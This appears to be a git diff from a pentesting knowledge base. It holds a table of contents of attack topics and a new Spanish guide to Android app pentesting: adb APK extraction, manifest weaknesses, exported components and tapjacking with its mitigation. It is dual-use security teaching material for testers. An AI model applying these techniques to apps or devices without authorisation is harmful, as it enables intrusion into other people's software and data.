* [4369 - Pentesting Erlang Port Mapper Daemon (epmd)](network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md)
|
||||
* [4786 - Cisco Smart Install](network-services-pentesting/4786-cisco-smart-install.md)
|
||||
* [5000 - Pentesting Docker Registry](network-services-pentesting/5000-pentesting-docker-registry.md)
|
||||
* [5353/UDP Multicast DNS (mDNS) and DNS-SD](network-services-pentesting/5353-udp-multicast-dns-mdns.md)
|
||||
* [5432,5433 - Pentesting Postgresql](network-services-pentesting/pentesting-postgresql.md)
|
||||
* [5439 - Pentesting Redshift](network-services-pentesting/5439-pentesting-redshift.md)
|
||||
* [5555 - Android Debug Bridge](network-services-pentesting/5555-android-debug-bridge.md)
|
||||
* [5601 - Pentesting Kibana](network-services-pentesting/5601-pentesting-kibana.md)
|
||||
* [5671,5672 - Pentesting AMQP](network-services-pentesting/5671-5672-pentesting-amqp.md)
|
||||
* [5800,5801,5900,5901 - Pentesting VNC](network-services-pentesting/pentesting-vnc.md)
|
||||
* [5984,6984 - Pentesting CouchDB](network-services-pentesting/5984-pentesting-couchdb.md)
|
||||
* [5985,5986 - Pentesting WinRM](network-services-pentesting/5985-5986-pentesting-winrm.md)
|
||||
* [5985,5986 - Pentesting OMI](network-services-pentesting/5985-5986-pentesting-omi.md)
|
||||
* [6000 - Pentesting X11](network-services-pentesting/6000-pentesting-x11.md)
|
||||
* [6379 - Pentesting Redis](network-services-pentesting/6379-pentesting-redis.md)
|
||||
* [8009 - Pentesting Apache JServ Protocol (AJP)](network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md)
|
||||
* [8086 - Pentesting InfluxDB](network-services-pentesting/8086-pentesting-influxdb.md)
|
||||
* [8089 - Pentesting Splunkd](network-services-pentesting/8089-splunkd.md)
|
||||
* [8333,18333,38333,18444 - Pentesting Bitcoin](network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md)
|
||||
* [9000 - Pentesting FastCGI](network-services-pentesting/9000-pentesting-fastcgi.md)
|
||||
* [9001 - Pentesting HSQLDB](network-services-pentesting/9001-pentesting-hsqldb.md)
|
||||
* [9042/9160 - Pentesting Cassandra](network-services-pentesting/cassandra.md)
|
||||
* [9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)](network-services-pentesting/9100-pjl.md)
|
||||
* [9200 - Pentesting Elasticsearch](network-services-pentesting/9200-pentesting-elasticsearch.md)
|
||||
* [10000 - Pentesting Network Data Management Protocol (ndmp)](network-services-pentesting/10000-network-data-management-protocol-ndmp.md)
|
||||
* [11211 - Pentesting Memcache](network-services-pentesting/11211-memcache/README.md)
|
||||
* [Memcache Commands](network-services-pentesting/11211-memcache/memcache-commands.md)
|
||||
* [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
|
||||
* [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
|
||||
* [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
|
||||
* [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
|
||||
* [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
|
||||
* [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
|
||||
* [50030,50060,50070,50075,50090 - Pentesting Hadoop](network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md)
|
||||
|
||||
## 🕸 Pentesting Web
|
||||
|
||||
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology/README.md)
|
||||
* [Browser Extensions](pentesting-web/web-vulnerabilities-methodology/browser-extensions.md)
|
||||
* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||
* [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
||||
* [2FA/OTP Bypass](pentesting-web/2fa-bypass.md)
|
||||
* [Account Takeover](pentesting-web/account-takeover.md)
|
||||
* [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
|
||||
* [Captcha Bypass](pentesting-web/captcha-bypass.md)
|
||||
* [Cache Poisoning and Cache Deception](pentesting-web/cache-deception.md)
|
||||
* [Clickjacking](pentesting-web/clickjacking.md)
|
||||
* [Client Side Template Injection (CSTI)](pentesting-web/client-side-template-injection-csti.md)
|
||||
* [Client Side Path Traversal](pentesting-web/client-side-path-traversal.md)
|
||||
* [Command Injection](pentesting-web/command-injection.md)
|
||||
* [Content Security Policy (CSP) Bypass](pentesting-web/content-security-policy-csp-bypass/README.md)
|
||||
* [CSP bypass: self + 'unsafe-inline' with Iframes](pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md)
|
||||
* [Cookies Hacking](pentesting-web/hacking-with-cookies/README.md)
|
||||
* [Cookie Tossing](pentesting-web/hacking-with-cookies/cookie-tossing.md)
|
||||
* [Cookie Jar Overflow](pentesting-web/hacking-with-cookies/cookie-jar-overflow.md)
|
||||
* [Cookie Bomb](pentesting-web/hacking-with-cookies/cookie-bomb.md)
|
||||
* [CORS - Misconfigurations & Bypass](pentesting-web/cors-bypass.md)
|
||||
* [CRLF (%0D%0A) Injection](pentesting-web/crlf-0d-0a.md)
|
||||
* [Cross-site WebSocket hijacking (CSWSH)](pentesting-web/cross-site-websocket-hijacking-cswsh.md)
|
||||
* [CSRF (Cross Site Request Forgery)](pentesting-web/csrf-cross-site-request-forgery.md)
|
||||
* [Dangling Markup - HTML scriptless injection](pentesting-web/dangling-markup-html-scriptless-injection.md)
|
||||
* [Dependency Confusion](pentesting-web/dependency-confusion.md)
|
||||
* [Deserialization](pentesting-web/deserialization/README.md)
|
||||
* [NodeJS - \_\_proto\_\_ & prototype Pollution](pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md)
|
||||
* [Client Side Prototype Pollution](pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md)
|
||||
* [Express Prototype Pollution Gadgets](pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md)
|
||||
* [Prototype Pollution to RCE](pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md)
|
||||
* [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
|
||||
* [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
|
||||
* [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
|
||||
* [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md)
|
||||
* [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
|
||||
* [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)
|
||||
* [Exploiting \_\_VIEWSTATE knowing the secrets](pentesting-web/deserialization/exploiting-\_\_viewstate-knowing-the-secret.md)
|
||||
* [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-\_\_viewstate-parameter.md)
|
||||
* [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
|
||||
* [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||
* [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
|
||||
* [Email Injections](pentesting-web/email-injections.md)
|
||||
* [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md)
|
||||
* [phar:// deserialization](pentesting-web/file-inclusion/phar-deserialization.md)
|
||||
* [LFI2RCE via PHP Filters](pentesting-web/file-inclusion/lfi2rce-via-php-filters.md)
|
||||
* [LFI2RCE via Nginx temp files](pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md)
|
||||
* [LFI2RCE via PHP\_SESSION\_UPLOAD\_PROGRESS](pentesting-web/file-inclusion/via-php\_session\_upload\_progress.md)
|
||||
* [LFI2RCE via Segmentation Fault](pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md)
|
||||
* [LFI2RCE via phpinfo()](pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md)
|
||||
* [LFI2RCE Via temp file uploads](pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md)
|
||||
* [LFI2RCE via Eternal waiting](pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md)
|
||||
* [LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure](pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
* [File Upload](pentesting-web/file-upload/README.md)
|
||||
* [PDF Upload - XXE and CORS bypass](pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md)
|
||||
* [Formula/CSV/Doc/LaTeX Injection](pentesting-web/formula-doc-latex-injection.md)
|
||||
* [HTTP Connection Contamination](pentesting-web/http-connection-contamination.md)
|
||||
* [HTTP Connection Request Smuggling](pentesting-web/http-connection-request-smuggling.md)
|
||||
* [HTTP Request Smuggling / HTTP Desync Attack](pentesting-web/http-request-smuggling/README.md)
|
||||
* [Browser HTTP Request Smuggling](pentesting-web/http-request-smuggling/browser-http-request-smuggling.md)
|
||||
* [Request Smuggling in HTTP/2 Downgrades](pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md)
|
||||
* [HTTP Response Smuggling / Desync](pentesting-web/http-response-smuggling-desync.md)
|
||||
* [Upgrade Header Smuggling](pentesting-web/h2c-smuggling.md)
|
||||
* [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
|
||||
* [IDOR](pentesting-web/idor.md)
|
||||
* [Integer Overflow](pentesting-web/integer-overflow.md)
|
||||
* [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
|
||||
* [LDAP Injection](pentesting-web/ldap-injection.md)
|
||||
* [Login Bypass](pentesting-web/login-bypass/README.md)
|
||||
* [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md)
|
||||
* [NoSQL injection](pentesting-web/nosql-injection.md)
|
||||
* [OAuth to Account takeover](pentesting-web/oauth-to-account-takeover.md)
|
||||
* [OAuth - Happy Paths, XSS, Iframes & Post Messages to leak code & state values](pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.md)
|
||||
* [Open Redirect](pentesting-web/open-redirect.md)
|
||||
* [Parameter Pollution](pentesting-web/parameter-pollution.md)
|
||||
* [Phone Number Injections](pentesting-web/phone-number-injections.md)
|
||||
* [PostMessage Vulnerabilities](pentesting-web/postmessage-vulnerabilities/README.md)
|
||||
* [Blocking main page to steal postmessage](pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
|
||||
* [Bypassing SOP with Iframes - 1](pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
|
||||
* [Bypassing SOP with Iframes - 2](pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
|
||||
* [Steal postmessage modifying iframe location](pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
|
||||
* [Race Condition](pentesting-web/race-condition.md)
|
||||
* [Rate Limit Bypass](pentesting-web/rate-limit-bypass.md)
|
||||
* [Registration & Takeover Vulnerabilities](pentesting-web/registration-vulnerabilities.md)
|
||||
* [Regular expression Denial of Service - ReDoS](pentesting-web/regular-expression-denial-of-service-redos.md)
|
||||
* [Reset/Forgotten Password Bypass](pentesting-web/reset-password.md)
|
||||
* [SAML Attacks](pentesting-web/saml-attacks/README.md)
|
||||
* [SAML Basics](pentesting-web/saml-attacks/saml-basics.md)
|
||||
* [Server Side Inclusion/Edge Side Inclusion Injection](pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
* [SQL Injection](pentesting-web/sql-injection/README.md)
|
||||
* [MS Access SQL Injection](pentesting-web/sql-injection/ms-access-sql-injection.md)
|
||||
* [MSSQL Injection](pentesting-web/sql-injection/mssql-injection.md)
|
||||
* [MySQL injection](pentesting-web/sql-injection/mysql-injection/README.md)
|
||||
* [MySQL File priv to SSRF/RCE](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
|
||||
* [Oracle injection](pentesting-web/sql-injection/oracle-injection.md)
|
||||
* [Cypher Injection (neo4j)](pentesting-web/sql-injection/cypher-injection-neo4j.md)
|
||||
* [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md)
|
||||
* [dblink/lo\_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo\_import-data-exfiltration.md)
|
||||
* [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
|
||||
* [Network - Privesc, Port Scanner and NTLM chanllenge response disclosure](pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)
|
||||
* [Big Binary Files Upload (PostgreSQL)](pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
|
||||
* [RCE with PostgreSQL Languages](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
|
||||
* [RCE with PostgreSQL Extensions](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
|
||||
* [SQLMap - Cheetsheat](pentesting-web/sql-injection/sqlmap/README.md)
|
||||
* [Second Order Injection - SQLMap](pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md)
|
||||
* [SSRF (Server Side Request Forgery)](pentesting-web/ssrf-server-side-request-forgery/README.md)
|
||||
* [URL Format Bypass](pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
* [SSRF Vulnerable Platforms](pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md)
|
||||
* [Cloud SSRF](pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md)
|
||||
* [SSTI (Server Side Template Injection)](pentesting-web/ssti-server-side-template-injection/README.md)
|
||||
* [EL - Expression Language](pentesting-web/ssti-server-side-template-injection/el-expression-language.md)
|
||||
* [Jinja2 SSTI](pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md)
|
||||
* [Reverse Tab Nabbing](pentesting-web/reverse-tab-nabbing.md)
|
||||
* [Unicode Injection](pentesting-web/unicode-injection/README.md)
|
||||
* [Unicode Normalization](pentesting-web/unicode-injection/unicode-normalization.md)
|
||||
* [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
|
||||
* [XPATH injection](pentesting-web/xpath-injection.md)
|
||||
* [XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
|
||||
* [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md)
|
||||
* [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md)
|
||||
* [Abusing Service Workers](pentesting-web/xss-cross-site-scripting/abusing-service-workers.md)
|
||||
* [Chrome Cache to XSS](pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md)
|
||||
* [Debugging Client Side JS](pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md)
|
||||
* [Dom Clobbering](pentesting-web/xss-cross-site-scripting/dom-clobbering.md)
|
||||
* [DOM Invader](pentesting-web/xss-cross-site-scripting/dom-invader.md)
|
||||
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
|
||||
* [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
* [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
|
||||
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
|
||||
* [Server Side XSS (Dynamic PDF)](pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
* [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
* [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
|
||||
* [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
|
||||
* [XSS Tools](pentesting-web/xss-cross-site-scripting/xss-tools.md)
|
||||
* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
||||
* [XS-Search/XS-Leaks](pentesting-web/xs-search.md)
|
||||
* [Connection Pool Example](pentesting-web/xs-search/connection-pool-example.md)
|
||||
* [Connection Pool by Destination Example](pentesting-web/xs-search/connection-pool-by-destination-example.md)
|
||||
* [Cookie Bomb + Onerror XS Leak](pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md)
|
||||
* [URL Max Length - Client Side](pentesting-web/xs-search/url-max-length-client-side.md)
|
||||
* [performance.now example](pentesting-web/xs-search/performance.now-example.md)
|
||||
* [performance.now + Force heavy task](pentesting-web/xs-search/performance.now-+-force-heavy-task.md)
|
||||
* [Event Loop Blocking + Lazy images](pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md)
|
||||
* [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md)
|
||||
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
|
||||
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
|
||||
|
||||
## ⛈ Cloud Security
|
||||
|
||||
* [Pentesting Kubernetes](https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security)
|
||||
* [Pentesting Cloud (AWS, GCP, Az...)](https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology)
|
||||
* [Pentesting CI/CD (Github, Jenkins, Terraform...)](https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology)
|
||||
|
|
688
mobile-pentesting/android-app-pentesting/README.md
Normal file
688
mobile-pentesting/android-app-pentesting/README.md
Normal file
|
@ -0,0 +1,688 @@
|
|||
# Pentesting de Aplicaciones Android
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales sobre errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
## Conceptos básicos de las aplicaciones Android
|
||||
|
||||
Se recomienda encarecidamente leer esta página para conocer las **partes más importantes relacionadas con la seguridad de Android y los componentes más peligrosos en una aplicación de Android**:
|
||||
|
||||
{% content-ref url="android-applications-basics.md" %}
|
||||
[android-applications-basics.md](android-applications-basics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Esta es la herramienta principal que necesitas para conectarte a un dispositivo Android (emulado o físico).\
|
||||
Te permite controlar tu dispositivo a través de **USB** o **Red** desde un ordenador, **copiar** archivos de ida y vuelta, **instalar** y desinstalar aplicaciones, ejecutar comandos de **shell**, realizar **copias de seguridad**, leer **registros** y más.
|
||||
|
||||
Echa un vistazo a la siguiente lista de [**Comandos ADB**](adb-commands.md) para aprender cómo usar adb.
|
||||
|
||||
## Smali
|
||||
|
||||
A veces es interesante **modificar el código de la aplicación** para acceder a **información oculta** (quizás contraseñas bien ofuscadas o banderas). Entonces, podría ser interesante decompilar el apk, modificar el código y recompilarlo.\
|
||||
[**En este tutorial** puedes **aprender cómo decompilar un APK, modificar el código Smali y recompilar el APK** con la nueva funcionalidad](smali-changes.md). Esto podría ser muy útil como **alternativa para varias pruebas durante el análisis dinámico** que se van a presentar. Entonces, **mantén siempre en mente esta posibilidad**.
|
||||
|
||||
## Otros trucos interesantes
|
||||
|
||||
* [Falsificar tu ubicación en Play Store](spoofing-your-location-in-play-store.md)
|
||||
* **Descargar APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/)
|
||||
* Extraer APK del dispositivo:
|
||||
```
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
|
||||
adb shell pm path com.android.insecurebankv2
|
||||
package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
|
||||
adb pull /data/app/com.android.insecurebankv2- Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales sobre errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
## Análisis estático
|
||||
|
||||
En primer lugar, para analizar un APK, deberías **echar un vistazo al código Java** utilizando un decompilador.\
|
||||
Por favor, [**lee aquí para encontrar información sobre los diferentes decompiladores disponibles**](apk-decompilers.md).
|
||||
|
||||
### Buscando información interesante
|
||||
|
||||
Simplemente echando un vistazo a las **cadenas de texto** del APK, puedes buscar **contraseñas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **claves** de API, **encriptación**, **UUIDs** de Bluetooth, **tokens** y cualquier otra cosa interesante... incluso busca puertas traseras de **ejecución de código** o puertas traseras de autenticación (credenciales de administrador codificadas en la aplicación).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Presta especial atención a las **URLs de Firebase** y comprueba si está mal configurado. [Más información sobre qué es Firebase y cómo explotarlo aquí.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Comprensión básica de la aplicación - Manifest.xml, strings.xml
|
||||
|
||||
Utilizando cualquiera de los **decompiladores** mencionados [**aquí** ](apk-decompilers.md) podrás leer el _Manifest.xml_. También puedes **renombrar** el archivo APK cambiando la extensión a **.zip** y **descomprimirlo**.\
|
||||
Leyendo el **manifiesto** puedes encontrar **vulnerabilidades**:
|
||||
|
||||
* En primer lugar, comprueba si **la aplicación es depurable**. Una APK de producción no debería serlo (o otros podrán conectarse a ella). Puedes comprobar si una aplicación es depurable buscando en el manifiesto el atributo `debuggable="true"` dentro de la etiqueta _\<application_ Ejemplo: `<application theme="@2131296387" debuggable="true"`
|
||||
* [Aprende aquí](drozer-tutorial/#is-debuggeable) cómo encontrar aplicaciones depurables en un teléfono y explotarlas
|
||||
* **Backup**: El atributo **`android:allowBackup`** define si los datos de la aplicación pueden ser respaldados y restaurados por un usuario que haya habilitado la depuración USB. Si la bandera de respaldo está configurada en verdadero, permite a un atacante hacer una copia de seguridad de los datos de la aplicación a través de adb incluso si el dispositivo no está rooteado. Por lo tanto, las aplicaciones que manejan y almacenan información sensible como detalles de tarjetas, contraseñas, etc. deben tener esta configuración explícitamente establecida en **falso** porque por defecto está establecida en **verdadero** para evitar tales riesgos.
|
||||
* `<application android:allowBackup="false"`
|
||||
* **NetworkSecurity:** La seguridad de red de la aplicación puede sobrescribir los valores predeterminados con **`android:networkSecurityConfig="@xml/network_security_config"`**. Se puede poner un archivo con ese nombre en _**res/xml.**_ Este archivo configurará importantes ajustes de seguridad como los pines de certificado o si permite tráfico HTTP. Puedes leer aquí más información sobre todas las cosas que se pueden configurar, pero comprueba este ejemplo sobre cómo configurar el tráfico HTTP para algunos dominios:
|
||||
* `<domain-config cleartextTrafficPermitted="true"> <domain includeSubdomains="true">formation-software.co.uk </domain></domain-config>`
|
||||
* **Actividades exportadas**: Comprueba las actividades exportadas dentro del manifiesto ya que esto podría ser peligroso. Más adelante en el análisis dinámico se explicará cómo [puedes aprovechar este comportamiento](./#exploiting-exported-activities-authorisation-bypass).
|
||||
* **Proveedores de contenido**: Si se expone un proveedor exportado, podrías ser capaz de acceder/modificar información interesante. En el análisis dinámico [aprenderás cómo aprovecharlos](./#exploiting-content-providers-accessing-and-manipulating-sensitive-information).
|
||||
* Comprueba las configuraciones de **FileProviders** dentro del atributo `android:name="android.support.FILE_PROVIDER_PATHS"`. [Lee aquí para aprender más sobre FileProviders](./#fileprovider).
|
||||
* **Servicios expuestos**: Dependiendo de lo que el servicio esté haciendo internamente, se podrían explotar vulnerabilidades. En el análisis dinámico [aprenderás cómo aprovecharlos](./#exploiting-services).
|
||||
* **Receptores de difusión**: [Aprenderás cómo posiblemente explotarlos](./#exploiting-broadcast-receivers) durante el análisis dinámico.
|
||||
* **Esquema de URL**: Lee el código de la actividad que gestiona el esquema y busca vulnerabilidades en la gestión de la entrada del usuario. Más información sobre [qué es un esquema de URL aquí](./#url-schemes).
|
||||
* **minSdkVersion**, **targetSDKVersion**, **maxSdkVersion**: Indican las versiones de Android en las que se ejecutará la aplicación. Es importante tenerlas en cuenta porque desde una perspectiva de seguridad, el soporte de versiones antiguas permitirá que se ejecuten versiones vulnerables conocidas de Android.
|
||||
|
||||
Leyendo **resources.arsc/strings.xml** puedes encontrar alguna **información interesante**:
|
||||
|
||||
* Claves de API
|
||||
* Esquemas personalizados
|
||||
* Otra información interesante que los desarrolladores guardan en este archivo
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** es un ataque en el que se lanza una **aplicación maliciosa** y se **posiciona encima de una aplicación víctima**. Una vez que oculta visiblemente la aplicación víctima, su interfaz de usuario está diseñada de tal manera que engaña al usuario para que interactúe con ella, mientras que está pasando la interacción a la aplicación víctima.\
|
||||
En efecto, está **ciegando al usuario para que no sepa que en realidad está realizando acciones en la aplicación víctima**.
|
||||
|
||||
Para detectar aplicaciones vulnerables a este ataque, deberías buscar **actividades exportadas** en el manifiesto de Android (ten en cuenta que una actividad con un filtro de intención se exporta automáticamente por defecto). Una vez que hayas encontrado las actividades exportadas, **comprueba si requieren algún permiso**. Esto se debe a que la **aplicación maliciosa también necesitará ese permiso**.\
|
||||
Por último, es importante comprobar el código en busca de posibles configuraciones de **`setFilterTouchesWhenObscured`**. Si se establece en **`true`**, un botón puede desactivarse automáticamente si está oscurecido:
|
||||
```markup
|
||||
<Button android:text="Button"
|
||||
android:id="@+id/button1"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:filterTouchesWhenObscured="true">
|
||||
</Button>
|
||||
```
|
||||
Puedes usar [**qark**](https://github.com/linkedin/qark) con el parámetro `--exploit-apk` para crear una aplicación maliciosa y probar posibles vulnerabilidades de **Tapjacking**.\
|
||||
Un proyecto de ejemplo que implementa este tipo de característica se puede encontrar en [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp).
|
||||
|
||||
La mitigación es relativamente simple, ya que el desarrollador puede elegir no recibir eventos táctiles cuando una vista está cubierta por otra. Usando la [Referencia del desarrollador de Android](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
> A veces es esencial que una aplicación pueda verificar que una acción se está realizando con el pleno conocimiento y consentimiento del usuario, como conceder una solicitud de permiso, realizar una compra o hacer clic en un anuncio. Desafortunadamente, una aplicación maliciosa podría intentar engañar al usuario para que realice estas acciones, sin saberlo, ocultando el propósito previsto de la vista. Como remedio, el marco ofrece un mecanismo de filtrado táctil que se puede utilizar para mejorar la seguridad de las vistas que proporcionan acceso a funcionalidades sensibles.
|
||||
>
|
||||
